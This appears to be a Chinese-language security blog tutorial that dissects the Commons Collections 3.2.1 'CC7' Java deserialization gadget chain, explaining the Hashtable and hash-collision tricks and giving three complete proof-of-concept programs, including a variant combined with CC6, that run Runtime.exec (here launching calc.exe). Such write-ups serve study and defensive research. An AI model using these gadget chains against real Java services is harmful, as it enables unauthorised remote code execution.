前言
CC7思路一样是通过找到另外一条链来调用LazyMap.get()方法
环境搭建
- jdk 8u71
- Commons Collection 3.2.1
CC7分析
先看ysoserial中给出的调用链:

可以看到CC7是通过AbstractMap.equals来调用LazyMap.get()方法的

在equals方法中会调m.get(key)方法,且m为传入的o,所以只需要将o传入为LazyMap对象即可。
继续往上找到AbstractMapDecorator.equals方法:

该方法会调用map.equals(object)方法:

而map也是我们可控的
继续往上跟进我们反序列化的起点Hashtable类:

在Hashtable.readObject方法中调用了reconstitutionPut(table,key,value)方法,而Hashtable提供put方法,可通过put将key和value传入:

注意会调用key.hashCode和entry.key.equals方法,它会将我们一开始的链子跑一遍,所以依然需要先传入假的faketransformers:
1
| Transformer[] faketransformers=new Transformer[]{};
|
跟进Hashtable.reconstitutionPut方法:

当e!=null时触发for循环,然后会判断e.hash==hash&&e.key.equals(key)。由于tab是用来储存键值对的,而在执行循环时会将tab[index]赋值给e,所以需要确保tab里有键值对,所以就需要在reconstitutionPut第一次遍历时将进行put一次传入键值对,然后在第二次遍历时再put一次作为key传入
而这里有个重要的点就是其实为了在调用AbstractMapDecorator.equals方法我们可以传入键值对都为LazyMap对象:

这是因为LazyMap其实是继承AbstractMapDecorator类的,所以在执行e.key.equal时即执行LazyMap.equals(),由于LazyMap没有该方法,就会通过父类来执行:
1 2 3 4 5 6 7 8 9 10 11
| ChainedTransformer chained=new ChainedTransformer(faketransformers);
HashMap inner1=new HashMap<>(); HashMap inner2=new HashMap<>();
Map map1=LazyMap.decorate(inner1, chained); Map map2=LazyMap.decorate(inner2, chained); Hashtable ht=new Hashtable();
ht.put(map1,1); ht.put(map2,2);
|
但实现equals方法还有一个条件就是e.hash==hash,而hash=key.hashcode():

即执行LazyMap.hashcode(),而LazyMap没有hashcode方法,就会执行父类AbstractMapDecorator.hashcode方法:

由于是调用父类的方法,但这里的map还是我们一开始传入LazyMap的HashMap对象,即执行HashMap.hashcode(),但HashMap没有hashcode方法,所以调用父类AbstractMap.hashcode()方法:

这里需要遍历键值对,没有就会直接返回,而HashMap并没有键值对,所以需要传入键值对,HashMap类存在put方法传入键值对:
1 2 3 4 5 6 7 8 9 10 11 12
| HashMap inner1 = new HashMap<>(); HashMap inner2 = new HashMap<>();
Map map1=LazyMap.decorate(inner1, chained); map1.put("b1uel0n3",1);
Map map2=LazyMap.decorate(inner2, chained); map2.put("aaa",1); Hashtable ht=new Hashtable();
ht.put(map1,1); ht.put(map2,2);
|
然后我们看下两组的hashcode()值:
1 2
| System.out.println(map1.hashCode()); System.out.println(map2.hashCode());
|

显然是不等的,而ysoserial提供了两组hash相等的值:


这里我用的是第一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.*;
public class CC7 { public static void main(String[] args) throws Exception { Transformer[] faketransformers=new Transformer[]{};
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}), }; ChainedTransformer chained=new ChainedTransformer(faketransformers); HashMap inner1 = new HashMap<>(); HashMap inner2 = new HashMap<>();
Map map1=LazyMap.decorate(inner1, chained); inner1.put("yy",1);
Map map2=LazyMap.decorate(inner2, chained); inner2.put("zZ",1); Hashtable ht=new Hashtable();
ht.put(map1,1); ht.put(map2,2);
Field filed=chained.getClass().getDeclaredField("iTransformers"); filed.setAccessible(true); filed.set(chained,transformers);
serialize(ht); unserialize();
} public static void serialize(Object obj) throws Exception { FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser"); ObjectOutputStream objOut=new ObjectOutputStream(out); objOut.writeObject(obj); } public static Object unserialize() throws Exception { FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser"); ObjectInputStream objIn=new ObjectInputStream(in); Object obj=objIn.readObject(); return obj; } }
|
但并没有弹计算机
这是因为每执行一次map.put方法就会触发一次LazyMap.get()方法添加一对键值对:

而最后反序列化时,AbstractMap.equals方法会判断第二次循环的LazyMap.size()值和第一次size值是否相等:

所以需要移除第一次的yy:
还有一点faketransformers没传对象是因为每次put都会调用transform方法,而两次put后都返回1,当inner中的键的hashCode相同时,Hashtable.readObject会认为这是两个一样的对象,只执行在readObject的一次循环,导致只执行一次reconstitutionPut方法
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.*;
public class CC7 { public static void main(String[] args) throws Exception { Transformer[] faketransformers=new Transformer[]{};
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}), }; ChainedTransformer chained=new ChainedTransformer(faketransformers); HashMap inner1 = new HashMap<>(); HashMap inner2 = new HashMap<>();
Map map1=LazyMap.decorate(inner1, chained); Map map2=LazyMap.decorate(inner2, chained);
map1.put("yy",1); map2.put("zZ",1); Hashtable ht=new Hashtable();
ht.put(map1,1); ht.put(map2,2); map2.remove("yy");
Field filed=chained.getClass().getDeclaredField("iTransformers"); filed.setAccessible(true); filed.set(chained,transformers);
serialize(ht); unserialize();
} public static void serialize(Object obj) throws Exception { FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser"); ObjectOutputStream objOut=new ObjectOutputStream(out); objOut.writeObject(obj); } public static Object unserialize() throws Exception { FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser"); ObjectInputStream objIn=new ObjectInputStream(in); Object obj=objIn.readObject(); return obj; } }
|

完整利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ObjectInputStream -> readObject() Hashtable -> readObject() Hashtable -> reconstitutionPut() AbstractMapDecorator -> equals() AbstractMap -> equals() LazyMap -> get() ChainedTransformer -> transform() ConstantTransformer -> transform() InvokerTransformer -> transform() Class.getMethod() InvokerTransformer -> transform() Runtime.getRuntime() InvokerTransformer -> transform() Runtime.exec()
|
结合CC6
在Hashtable.reconstitutionPut()方法中调用了key.hashcode()方法,所以其实我们可以结合CC6来执行链子,通过调用TiedMapEntry.hashcode方法执行
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.*;
public class CC7 { public static void main(String[] args) throws Exception { Transformer[] faketransformers=new Transformer[]{};
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}), }; ChainedTransformer chained=new ChainedTransformer(faketransformers); HashMap inner = new HashMap<>();
Map map=LazyMap.decorate(inner, chained);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "b1uel0n3");
Hashtable ht=new Hashtable(); ht.put(tiedMapEntry,1); map.remove("b1uel0n3");
Field filed=chained.getClass().getDeclaredField("iTransformers"); filed.setAccessible(true); filed.set(chained,transformers);
serialize(ht); unserialize();
} public static void serialize(Object obj) throws Exception { FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser"); ObjectOutputStream objOut=new ObjectOutputStream(out); objOut.writeObject(obj); } public static Object unserialize() throws Exception { FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser"); ObjectInputStream objIn=new ObjectInputStream(in); Object obj=objIn.readObject(); return obj; } }
|

完整调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ObjectInputStream -> readObject() Hashtable -> readObject() Hashtable -> reconstitutionPut() TiedMapEntry -> hashCode() TiedMapEntry -> getValue() LazyMap -> get() ChainedTransformer -> transform() ConstantTransformer -> transform() InvokerTransformer -> transform() Class.getMethod() InvokerTransformer -> transform() Runtime.getRuntime() InvokerTransformer -> transform() Runtime.exec()
|
参考
https://infernity.top/2024/04/18/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC7%E9%93%BE/
https://nivi4.notion.site/Java-CommonCollections7-ef80bc3e4c1c47508a5762ac455a6cda
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java
https://www.cnblogs.com/nice0e3/p/13910833.html